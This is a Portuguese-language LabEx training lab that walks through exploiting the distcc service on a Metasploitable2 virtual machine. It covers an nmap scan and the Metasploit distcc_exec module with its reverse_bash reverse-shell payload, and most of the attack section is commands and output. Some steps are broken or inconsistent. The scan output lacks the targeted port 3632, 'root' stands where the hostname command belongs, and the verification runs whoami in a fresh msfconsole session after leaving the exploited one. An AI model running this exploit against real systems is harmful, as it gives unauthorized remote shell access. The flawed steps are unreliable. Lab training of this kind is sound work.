Introdução
Neste laboratório, conduziremos testes de penetração na máquina alvo Metasploitable2 fornecida pela LabEx, utilizando o terminal Kali. O foco será na compreensão dos princípios e do processo de ataque ao serviço Distcc. Ao final do laboratório, serão fornecidas leituras recomendadas e tarefas de casa.
Iniciar o Ambiente do Laboratório
- Abra um terminal xfce na máquina host da LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde o início da máquina alvo, o que pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar os testes de penetração.
Observação: Se você sair acidentalmente do bash atual, o container Kali irá parar automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.
Realizar Teste de Penetração
Princípio da vulnerabilidade do serviço Distcc:
Distcc é usado para compilação distribuída de grandes bases de código em servidores de rede. No entanto, se mal configurado, pode ser abusado para executar comandos. Esta vulnerabilidade está presente no XCode 1.5 e em outras versões do Distcc 2.x devido à falta de restrições de acesso na porta do servidor.
Em termos simples, o serviço carece de verificações adequadas nas portas e nas tarefas executadas, permitindo que os invasores usem as tarefas de compilação distribuída para executar seus próprios comandos.
Índices de vulnerabilidade:
Código do módulo de ataque de vulnerabilidade:
Primeiro, inicie o msfconsole para entrar na interface de operação:
cd ~
msfconsole
Use a ferramenta de varredura Nmap para verificar o host alvo em busca de portas abertas:
nmap -sV -T4 192.168.122.102
Aqui está um exemplo da saída que você pode ver:
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Com base nos resultados da varredura, procure o módulo correspondente ao serviço de porta que você deseja atacar:
search distcc
No terminal Kali MSF, use o comando use para selecionar o módulo apropriado:
use exploit/unix/misc/distcc_exec
Em seguida, use o comando show options para exibir os parâmetros do módulo:
show options
Aqui está um exemplo da saída que você pode ver:
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Defina o parâmetro do host alvo RHOST para 192.168.122.102
set RHOST 192.168.122.102
Depois que tudo estiver configurado, use o comando exploit para atacar o host:
exploit
Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção
Verificar Penetração Bem-Sucedida
Para verificar se a penetração foi bem-sucedida, use os seguintes comandos: whoami, hostname e ifconfig (para verificar o endereço IP):
Primeiramente, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
Verifique o usuário atual:
whoami
Verifique o nome do host:
root
Verifique o endereço IP do host comprometido:
ifconfig
Se o nome do host e o endereço IP corresponderem à máquina alvo (192.168.122.102), isso indica que o teste de penetração foi bem-sucedido.
Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção
Resumo
Neste laboratório, aprendemos sobre os princípios e o processo de ataque ao serviço Distcc. Ganhamos experiência prática com a varredura de penetração Nmap, usando o Metasploit para explorar a vulnerabilidade Distcc e verificando a penetração bem-sucedida. O laboratório forneceu uma compreensão prática da análise de vulnerabilidade e das técnicas de exploração.



